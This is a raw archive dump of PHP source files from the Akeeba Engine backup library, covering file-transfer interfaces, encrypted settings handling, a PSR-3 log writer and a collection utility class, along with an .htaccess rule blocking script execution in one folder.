PK     \(d  d  ?  vendor/akeeba/engine/engine/Util/Transfer/TransferInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * An interface for Transfer adapters, used to transfer files to remote servers over FTP, FTPS, SFTP and possibly other
 * file transfer methods we might implement.
 *
 * @package   Akeeba\Engine\Util\Transfer
 */
interface TransferInterface
{
	/**
	 * Creates the uploader
	 *
	 * @param   array  $config
	 */
	public function __construct(array $config);

	/**
	 * Is this transfer method blocked by a server firewall?
	 *
	 * @param   array  $params  Any additional parameters you might need to pass
	 *
	 * @return  boolean  True if the firewall blocks connections to a known host
	 */
	public static function isFirewalled(array $params = []);

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the remote file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents);

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true);

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName);

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true);

	/**
	 * Delete a remote file
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName);

	/**
	 * Create a copy of the remote file
	 *
	 * @param   string  $from  The full path of the remote file to copy from
	 * @param   string  $to    The full path of the remote file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to);

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full remote path of the file to move
	 * @param   string  $to    The full remote path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to);

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the remote file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions);

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the remote directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755);

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path);

	/**
	 * Get the current working directory
	 *
	 * @return  string
	 */
	public function cwd();

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName);

	/**
	 * Lists the subdirectories inside a directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our folder scanner
	 */
	public function listFolders($dir = null);
}
PK     \Sʉ      3  vendor/akeeba/engine/engine/Util/Transfer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \i[m    )  vendor/akeeba/engine/engine/Util/Phin.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

class Phin
{
	private static array $map = [
		'a' => 'k', 'b' => 'm', 'c' => 'z', 'd' => 'p', 'e' => 'h',
		'f' => 'q', 'g' => 'w', 'h' => 'y', 'i' => 'x', 'j' => 'n',
		'k' => 'v', 'l' => 'u', 'm' => 't', 'n' => 's', 'o' => 'r',
		'p' => 'j', 'q' => 'o', 'r' => 'i', 's' => 'g', 't' => 'f',
		'u' => 'e', 'v' => 'd', 'w' => 'c', 'x' => 'b', 'y' => 'a',
		'z' => 'l',
		'A' => 'N', 'B' => 'Q', 'C' => 'K', 'D' => 'Z', 'E' => 'V',
		'F' => 'J', 'G' => 'X', 'H' => 'B', 'I' => 'M', 'J' => 'F',
		'K' => 'W', 'L' => 'P', 'M' => 'S', 'N' => 'H', 'O' => 'C',
		'P' => 'E', 'Q' => 'Y', 'R' => 'G', 'S' => 'T', 'T' => 'A',
		'U' => 'L', 'V' => 'O', 'W' => 'R', 'X' => 'D', 'Y' => 'U',
		'Z' => 'I',
	];

	public static function cee(string $string): string
	{
		return strtr($string, self::$map);
	}

	public static function artoo(string $string): string
	{
		return strtr($string, array_flip(self::$map));
	}
}
PK     \?SK  K  3  vendor/akeeba/engine/engine/Util/SecureSettings.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Implements encrypted settings handling features
 *
 * @author nicholas
 */
class SecureSettings
{
	/**
	 * The filename for the settings encryption key
	 *
	 * @var   string
	 */
	protected $keyFilename = 'serverkey.php';

	protected $key = null;

	/**
	 * Set the key filename e.g. 'serverkey.php';
	 *
	 * @param   string  $filename  The new filename to use
	 *
	 * @return  void
	 */
	public function setKeyFilename($filename)
	{
		$this->keyFilename = $filename;
	}

	/**
	 * Sets the server key, overriding an already loaded key.
	 *
	 * @param $key
	 */
	public function setKey($key)
	{
		$this->key = $key;
	}

	/**
	 * Gets the configured server key, automatically loading the server key storage file
	 * if required.
	 *
	 * @return string
	 */
	public function getKey()
	{
		if (is_null($this->key))
		{
			$this->key = '';

			if (!defined('AKEEBA_SERVERKEY'))
			{
				$filename = dirname(__FILE__) . '/../' . $this->keyFilename;
				$altFilename = $this->keyFilename;

				if (file_exists($filename))
				{
					include_once $filename;
				}
				elseif (file_exists($altFilename))
				{
					include_once $altFilename;
				}
			}

			if (defined('AKEEBA_SERVERKEY'))
			{
				$this->key = base64_decode(AKEEBA_SERVERKEY);
			}
		}

		return $this->key;
	}

	/**
	 * Do the server options allow us to use settings encryption?
	 *
	 * @return bool
	 */
	public function supportsEncryption()
	{
		// Do we have the encrypt.php plugin?
		if (!class_exists('\\Akeeba\\Engine\\Util\\Encrypt', true))
		{
			return false;
		}

		// Did the user intentionally disable settings encryption?
		$useEncryption = Platform::getInstance()->get_platform_configuration_option('useencryption', -1);

		if ($useEncryption == 0)
		{
			return false;
		}

		// Do we have base64_encode/_decode required for encryption?
		if (!function_exists('base64_encode') || !function_exists('base64_decode'))
		{
			return false;
		}

		// Pre-requisites met. We can encrypt and decrypt!
		return true;
	}

	/**
	 * Gets the preferred encryption mode. Currently, if mcrypt is installed and activated we will
	 * use AES128.
	 *
	 * @return string
	 */
	public function preferredEncryption()
	{
		$aes     = new Encrypt();
		$adapter = $aes->getAdapter();

		if (!$adapter->isSupported())
		{
			return 'CTR128';
		}

		return 'AES128';
	}

	/**
	 * Encrypts the settings using the automatically detected preferred algorithm
	 *
	 * @param   $rawSettings  string  The raw settings string
	 * @param   $key          string  The encryption key. Set to NULL to automatically find the key.
	 *
	 * @return  string  The encrypted data to store in the database
	 */
	public function encryptSettings($rawSettings, $key = null)
	{
		// Do we really support encryption?
		if (!$this->supportsEncryption())
		{
			return $rawSettings;
		}

		// Does any of the preferred encryption engines exist?
		$encryption = $this->preferredEncryption();

		if (empty($encryption))
		{
			return $rawSettings;
		}

		// Do we have a non-empty key to begin with?
		if (empty($key))
		{
			$key = $this->getKey();
		}

		if (empty($key))
		{
			return $rawSettings;
		}

		if ($encryption == 'AES128')
		{
			$encrypted = Factory::getEncryption()->AESEncryptCBC($rawSettings, $key);

			if (empty($encrypted))
			{
				$encryption = 'CTR128';
			}
			else
			{
				// Note: CBC returns the encrypted data as a binary string and requires Base 64 encoding
				$rawSettings = '###AES128###' . base64_encode($encrypted);
			}
		}

		if ($encryption == 'CTR128')
		{
			$encrypted = Factory::getEncryption()->AESEncryptCtr($rawSettings, $key, 128);

			if (!empty($encrypted))
			{
				// Note: CTR returns the encrypted data readily encoded in Base 64
				$rawSettings = '###CTR128###' . $encrypted;
			}
		}

		return $rawSettings;
	}

	/**
	 * Decrypts the encrypted settings and returns the plaintext INI string
	 *
	 * @param   string  $encrypted  The encrypted data
	 *
	 * @return  string  The decrypted data
	 */
	public function decryptSettings($encrypted, $key = null)
	{
		if (substr($encrypted, 0, 12) == '###AES128###')
		{
			$mode = 'AES128';
		}
		elseif (substr($encrypted, 0, 12) == '###CTR128###')
		{
			$mode = 'CTR128';
		}
		else
		{
			return $encrypted;
		}

		if (empty($key))
		{
			$key = $this->getKey();
		}

		if (empty($key))
		{
			return '';
		}

		$encrypted = substr($encrypted, 12);

		switch ($mode)
		{
			default:
			case 'AES128':
				$encrypted = base64_decode($encrypted);
				$decrypted = rtrim(Factory::getEncryption()->AESDecryptCBC($encrypted, $key), "\0");
				break;

			case 'CTR128':
				$decrypted = Factory::getEncryption()->AESDecryptCtr($encrypted, $key, 128);
				break;
		}

		if (empty($decrypted))
		{
			$decrypted = '';
		}

		return $decrypted;
	}
}
PK     \Gi:  i:  +  vendor/akeeba/engine/engine/Util/Logger.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Log\LogInterface;
use Akeeba\Engine\Util\Log\WarningsLoggerAware;
use Akeeba\Engine\Util\Log\WarningsLoggerInterface;
use Akeeba\Engine\Psr\Log\InvalidArgumentException;
use Akeeba\Engine\Psr\Log\LoggerInterface;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Writes messages to the backup log file
 */
class Logger implements LoggerInterface, LogInterface, WarningsLoggerInterface
{
	use WarningsLoggerAware;

	/** @var  string  Full path to log file */
	protected $logName = null;

	/** @var  string  The current log tag */
	protected $currentTag = null;

	/** @var  resource  The file pointer to the current log file */
	protected $fp = null;

	/** @var  bool  Is the logging currently paused? */
	protected $paused = false;

	/** @var  int  The minimum log level */
	protected $configuredLoglevel;

	/** @var  string  The untranslated path to the site's root */
	protected $site_root_untranslated;

	/** @var  string  The translated path to the site's root */
	protected $site_root;

	/**
	 * Public constructor. Initialises the properties with the parameters from the backup profile and platform.
	 */
	public function __construct()
	{
		$this->initialiseWithProfileParameters();
	}

	/**
	 * When shutting down this class always close any open log files.
	 */
	public function __destruct()
	{
		$this->close();
	}

	/**
	 * Clears the logfile
	 *
	 * @param   string  $tag  Backup origin
	 */
	public function reset($tag = null)
	{
		// Pause logging
		$this->pause();

		// Get the file names for the default log and the tagged log
		$currentLogName = $this->logName;
		$this->logName  = $this->getLogFilename($tag);

		// Close the file if it's open
		if ($currentLogName == $this->logName)
		{
			$this->close();
		}

		// Remove the log file if it exists
		@unlink($this->logName);

		// Reset the log file
		$fp = @fopen($this->logName, 'w');
		$hasWritten = false;

		if ($fp !== false)
		{
			$hasWritten = fwrite($fp, '<' . '?' . 'php die(); ' . '?' . '>' . "\n") !== false;
			@fclose($fp);
		}

		// If I could not write to a .log.php file try using a .log file instead.
		if (!$hasWritten)
		{
			$this->logName  = $this->getLogFilename($tag, '');
			$fp = @fopen($this->logName, 'w');
			$hasWritten = false;

			if ($fp !== false)
			{
				$hasWritten = fwrite($fp, "\n") !== false;
				@fclose($fp);
			}
		}

		// Delete the default log file(s) if they exists
		$defaultLog     = $this->getLogFilename(null);

		if (!empty($tag) && @file_exists($defaultLog))
		{
			@unlink($defaultLog);
		}

		$defaultLog     = $this->getLogFilename(null, '');

		if (!empty($tag) && @file_exists($defaultLog))
		{
			@unlink($defaultLog);
		}

		// Set the current log tag
		$this->currentTag = $tag;

		// Unpause logging
		$this->unpause();
	}

	/**
	 * Writes a line to the log, if the log level is high enough
	 *
	 * @param   string  $level    The log level
	 * @param   string  $message  The message to write to the log
	 * @param   array   $context  The logging context. For PSR-3 compatibility but not used in text file logs.
	 *
	 * @return  void
	 */
	public function log($level, $message = '', array $context = [])
	{
		// Warnings are enqueued no matter what is the minimum log level to report in the log file
		if (in_array($level, [LogLevel::WARNING, LogLevel::NOTICE]))
		{
			$this->enqueueWarning($message);
		}

		// If we are told to not log anything we can't continue
		if ($this->configuredLoglevel == 0)
		{
			return;
		}

		// Open the log if it's closed
		if (is_null($this->fp))
		{
			$this->open($this->currentTag);
		}

		// If the log could not be opened we can't continue
		if (is_null($this->fp))
		{
			return;
		}

		// If the logging is paused we can't continue
		if ($this->paused)
		{
			return;
		}

		// Get the log level as an integer (compatibility with our minimum log level configuration parameter)
		switch ($level)
		{
			case LogLevel::EMERGENCY:
			case LogLevel::ALERT:
			case LogLevel::CRITICAL:
			case LogLevel::ERROR:
				$intLevel = 1;
				break;

			case LogLevel::WARNING:
			case LogLevel::NOTICE:
				$intLevel = 2;
				break;

			case LogLevel::INFO:
				$intLevel = 3;
				break;

			case LogLevel::DEBUG:
				$intLevel = 4;
				break;

			default:
				throw new InvalidArgumentException("Unknown log level $level", 500);
				break;
		}

		// If the minimum log level is lower than what we're trying to log we cannot continue
		if ($this->configuredLoglevel < $intLevel)
		{
			return;
		}

		$translateRoot = boolval($context['root_translate'] ?? false);

		// Replace the site's root with <root> in the log file
		if ($translateRoot && !defined('AKEEBADEBUG'))
		{
			$message = str_replace($this->site_root_untranslated, "<root>", $message);
			$message = str_replace($this->site_root, "<root>", $message);
		}

		// Replace new lines
		$message = str_replace("\r\n", "\n", $message);
		$message = str_replace("\r", "\n", $message);
		$message = str_replace("\n", ' \n ', $message);

		switch ($level)
		{
			case LogLevel::EMERGENCY:
			case LogLevel::ALERT:
			case LogLevel::CRITICAL:
			case LogLevel::ERROR:
				$string = "ERROR   |";
				break;

			case LogLevel::WARNING:
			case LogLevel::NOTICE:
				$string = "WARNING |";
				break;

			case LogLevel::INFO:
				$string = "INFO    |";
				break;

			default:
				$string = "DEBUG   |";
				break;
		}

		$string .= gmdate('Ymd H:i:s') . "|$message\r\n";

		@fwrite($this->fp, $string);
	}

	/**
	 * Calculates the absolute path to the log file
	 *
	 * @param   string  $tag  The backup run's tag
	 *
	 * @return    string    The absolute path to the log file
	 */
	public function getLogFilename($tag = null, $extension = '.php')
	{
		if (empty($tag))
		{
			$fileName = 'akeeba.log' . $extension;
		}
		else
		{
			$fileName = "akeeba.$tag.log" . $extension;
		}

		// Get output directory
		$registry        = Factory::getConfiguration();
		$outputDirectory = $registry->get('akeeba.basic.output_directory');

		// Get the log file name
		$absoluteLogFilename = Factory::getFilesystemTools()->TranslateWinPath($outputDirectory . DIRECTORY_SEPARATOR . $fileName);

		return $absoluteLogFilename;
	}

	/**
	 * Close the currently active log and set the current tag to null.
	 *
	 * @return  void
	 */
	public function close()
	{
		// The log file changed. Close the old log.
		if (is_resource($this->fp))
		{
			@fclose($this->fp);
		}

		$this->fp         = null;
		$this->currentTag = null;
	}

	/**
	 * Open a new log instance with the specified tag. If another log is already open it is closed before switching to
	 * the new log tag. If the tag is null use the default log defined in the logging system.
	 *
	 * @param   string|null  $tag  The log to open
	 *
	 * @return void
	 */
	public function open($tag = null, $extension = '.php')
	{
		// If the log is already open do nothing
		if (is_resource($this->fp) && ($tag == $this->currentTag))
		{
			return;
		}

		// If another log is open, close it
		if (is_resource($this->fp))
		{
			$this->close();
		}

		// Re-initialise site root and minimum log level since the active profile might have changed in the meantime
		$this->initialiseWithProfileParameters();

		// Set the current tag
		$this->currentTag = $tag;

		// Get the log filename
		$this->logName = $this->getLogFilename($tag, $extension);

		// Touch the file
		@touch($this->logName);

		// Open the log file. DO NOT USE APPEND ('ab') MODE. I NEED TO SEEK INTO THE FILE. SEE FURTHER BELOW!
		$this->fp = @fopen($this->logName, 'c');

		// If we couldn't open the file set the file pointer to null
		if ($this->fp === false)
		{
			$this->fp = null;

			return;
		}

		// Go to the end of the file, emulating append mode. DO NOT REPLACE THE fopen() FILE MODE!
		if (@fseek($this->fp, 0, SEEK_END) === -1)
		{
			@fclose($this->fp);
			@unlink($this->logName);

			$this->fp = null;

			return;
		}

		/**
		 * The following sounds pretty stupid but there is a reason for that convoluted code.
		 *
		 * Some hosts, like WP Engine, will now allow you to write to a log file with a .php extension. The code below
		 * tries to anticipate that when the log extension is .php. It will try to write to the *.log.php file and the
		 * text is actually resembling PHP code. Hosts like WP Engine will fail the fwrite() which will cause this
		 * method to terminate early and return a null pointer. Our code will catch this case and try to use a .log
		 * extension as a safe fallback.
		 */
		if ($extension !== '.php')
		{
			return;
		}

		// Try to write something into the file
		$written = @fwrite($this->fp, '<?php die("test"); ?>' . "\n");

		if ($written === false)
		{
			@fclose($this->fp);
			@unlink($this->logName);

			$this->fp = null;

			$this->open($tag, '');

			return;
		}

		// Store truncate offset, we will have to rewind the internal pointer to it
		$truncate_point = ftell($this->fp) - $written;

		if (ftruncate($this->fp, $truncate_point) === false)
		{
			@fclose($this->fp);
			@unlink($this->logName);

			$this->fp = null;

			$this->open($tag, '');

			return;
		}

		// Finally, move the file pointer at the truncation point. Otherwise PHP will append NULL bytes to the string
		// to "pad" the file length to the internal file pointer. No need to check if the operation was successful,
		// worst case scenario we will have some extra NULL bytes, there's no need to kill the log operation
		@fseek($this->fp, $truncate_point);
	}

	/**
	 * Temporarily pause log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function pause()
	{
		$this->paused = true;
	}

	/**
	 * Resume the previously paused log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function unpause()
	{
		$this->paused = false;
	}

	/**
	 * Returns the timestamp (in UNIX time long integer format) of the last log message written to the log with the
	 * specific tag. The timestamp MUST be read from the log itself, not from the logger object. It is used by the
	 * engine to find out the age of stalled backups which may have crashed.
	 *
	 * @param   string|null  $tag  The log tag for which the last timestamp is returned
	 *
	 * @return  int|null  The timestamp of the last log message, in UNIX time. NULL if we can't get the timestamp.
	 */
	public function getLastTimestamp($tag = null)
	{
		$fileName = $this->getLogFilename($tag);

		/**
		 * The log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This would be the case in some bad
		 * hosts, like WPEngine, which do not allow us to create .php files EVEN THOUGH that's the only way to ensure
		 * the privileged information in the log file is not readable over the web. You can't fix bad hosts, you can
		 * only work around them.
		 */
		if (!@file_exists($fileName) && @file_exists(substr($fileName, 0, -4)))
		{
			$fileName = substr($fileName, 0, -4);
		}

		$timestamp = @filemtime($fileName);

		if ($timestamp === false)
		{
			return null;
		}

		return $timestamp;
	}

	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function emergency($message, array $context = [])
	{
		$this->log(LogLevel::EMERGENCY, $message, $context);
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function alert($message, array $context = [])
	{
		$this->log(LogLevel::ALERT, $message, $context);
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function critical($message, array $context = [])
	{
		$this->log(LogLevel::CRITICAL, $message, $context);
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function error($message, array $context = [])
	{
		$this->log(LogLevel::ERROR, $message, $context);
	}

	/**
	 * \Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function warning($message, array $context = [])
	{
		$this->log(LogLevel::WARNING, $message, $context);
	}

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function notice($message, array $context = [])
	{
		$this->log(LogLevel::NOTICE, $message, $context);
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function info($message, array $context = [])
	{
		$this->log(LogLevel::INFO, $message, $context);
	}

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function debug($message, array $context = [])
	{
		$this->log(LogLevel::DEBUG, $message, $context);
	}

	/**
	 * Initialise the logger properties with parameters from the backup profile and the platform
	 *
	 * @return  void
	 */
	protected function initialiseWithProfileParameters()
	{
		// Get the site's translated and untranslated root
		$this->site_root_untranslated = Platform::getInstance()->get_site_root();
		$this->site_root              = Factory::getFilesystemTools()->TranslateWinPath($this->site_root_untranslated);

		// Load the registry and fetch log level
		$registry                 = Factory::getConfiguration();
		$this->configuredLoglevel = $registry->get('akeeba.basic.log_level');
		$this->configuredLoglevel = $this->configuredLoglevel * 1;
	}
}
PK     \rF  F  /  vendor/akeeba/engine/engine/Util/Collection.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

use ArrayAccess;
use ArrayIterator;
use CachingIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
use ReturnTypeWillChange;

class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable
{
	/**
	 * The items contained in the collection.
	 *
	 * @var array
	 */
	protected array $items = [];

	/**
	 * Create a new collection.
	 *
	 * @param   array  $items
	 */
	public function __construct(array $items = [])
	{
		$this->items = $items;
	}

	/**
	 * Create a new collection instance if the value isn't one already.
	 *
	 * @param   mixed  $items
	 *
	 * @return  static
	 */
	public static function make($items): self
	{
		if (is_null($items))
		{
			return new static;
		}

		if ($items instanceof Collection)
		{
			return $items;
		}

		return new static(is_array($items) ? $items : [$items]);
	}

	/**
	 * Get all of the items in the collection.
	 *
	 * @return array
	 */
	public function all(): array
	{
		return $this->items;
	}

	/**
	 * Collapse the collection items into a single array.
	 *
	 * @return static
	 */
	public function collapse(): self
	{
		$results = [];

		foreach ($this->items as $values)
		{
			$results = array_merge($results, $values);
		}

		return new static($results);
	}

	/**
	 * Diff the collection with the given items.
	 *
	 * @param   static|array  $items
	 *
	 * @return static
	 */
	public function diff($items): Collection
	{
		return new static(array_diff($this->items, $this->getArrayableItems($items)));
	}

	/**
	 * Execute a callback over each item.
	 *
	 * @param   callable  $callback
	 *
	 * @return static
	 */
	public function each(callable $callback): self
	{
		array_map($callback, $this->items);

		return $this;
	}

	/**
	 * Fetch a nested element of the collection.
	 *
	 * @param   string  $key
	 *
	 * @return static
	 */
	public function fetch(string $key): self
	{
		return new static($this->array_fetch($this->items, $key));
	}

	/**
	 * Run a filter over each of the items.
	 *
	 * @param   callable  $callback
	 *
	 * @return static
	 */
	public function filter(callable $callback): self
	{
		return new static(array_filter($this->items, $callback));
	}

	/**
	 * Get the first item from the collection.
	 *
	 * @param   callable|null  $callback
	 * @param   mixed          $default
	 *
	 * @return mixed|null
	 */
	public function first(?callable $callback = null, $default = null)
	{
		if (is_null($callback))
		{
			return count($this->items) > 0 ? reset($this->items) : null;
		}
		else
		{
			return $this->array_first($this->items, $callback, $default);
		}
	}

	/**
	 * Get a flattened array of the items in the collection.
	 *
	 * @return static
	 */
	public function flatten(): self
	{
		return new static($this->array_flatten($this->items));
	}

	/**
	 * Remove an item from the collection by key.
	 *
	 * @param   mixed  $key
	 *
	 * @return void
	 */
	public function forget($key)
	{
		unset($this->items[$key]);
	}

	/**
	 * Get an item from the collection by key.
	 *
	 * @param   mixed  $key
	 * @param   mixed  $default
	 *
	 * @return mixed
	 */
	public function get($key, $default = null)
	{
		if (array_key_exists($key, $this->items))
		{
			return $this->items[$key];
		}

		return $this->collapseValue($default);
	}

	/**
	 * Group an associative array by a field or callable value.
	 *
	 * @param   callable|string  $groupBy
	 *
	 * @return static
	 */
	public function groupBy($groupBy): self
	{
		$results = [];

		foreach ($this->items as $key => $value)
		{
			$key = is_callable($groupBy) ? $groupBy($value, $key) : $this->array_get($value, $groupBy);

			$results[$key][] = $value;
		}

		return new static($results);
	}

	/**
	 * Determine if an item exists in the collection by key.
	 *
	 * @param   mixed  $key
	 *
	 * @return bool
	 */
	public function has($key): bool
	{
		return array_key_exists($key, $this->items);
	}

	/**
	 * Concatenate values of a given key as a string.
	 *
	 * @param   string       $value
	 * @param   string|null  $glue
	 *
	 * @return string
	 */
	public function implode(string $value, ?string $glue = null): string
	{
		if (is_null($glue))
		{
			return implode($this->lists($value));
		}

		return implode($glue, $this->lists($value));
	}

	/**
	 * Intersect the collection with the given items.
	 *
	 * @param   Collection|array  $items
	 *
	 * @return static
	 */
	public function intersect($items): self
	{
		return new static(array_intersect($this->items, $this->getArrayableItems($items)));
	}

	/**
	 * Determine if the collection is empty or not.
	 *
	 * @return bool
	 */
	public function isEmpty(): bool
	{
		return empty($this->items);
	}

	/**
	 * Get the last item from the collection.
	 *
	 * @return mixed|null
	 */
	public function last()
	{
		return count($this->items) > 0 ? end($this->items) : null;
	}

	/**
	 * Get an array with the values of a given key.
	 *
	 * @param   string       $value
	 * @param   string|null  $key
	 *
	 * @return array
	 */
	public function lists(string $value, ?string $key = null): array
	{
		return $this->array_pluck($this->items, $value, $key);
	}

	/**
	 * Run a map over each of the items.
	 *
	 * @param   callable  $callback
	 *
	 * @return static
	 */
	public function map(callable $callback): Collection
	{
		return new static(array_map($callback, $this->items, array_keys($this->items)));
	}

	/**
	 * Run a map over each of the items, preserving the keys.
	 *
	 * @param   callable  $callback
	 *
	 * @return static
	 */
	public function mapPreserve(callable $callback): Collection
	{
		return new static(array_map($callback, $this->items));
	}

	/**
	 * Merge the collection with the given items.
	 *
	 * @param   Collection|array  $items
	 *
	 * @return static
	 */
	public function merge($items): Collection
	{
		return new static(array_merge($this->items, $this->getArrayableItems($items)));
	}

	/**
	 * Get and remove the last item from the collection.
	 *
	 * @return mixed|null
	 */
	public function pop()
	{
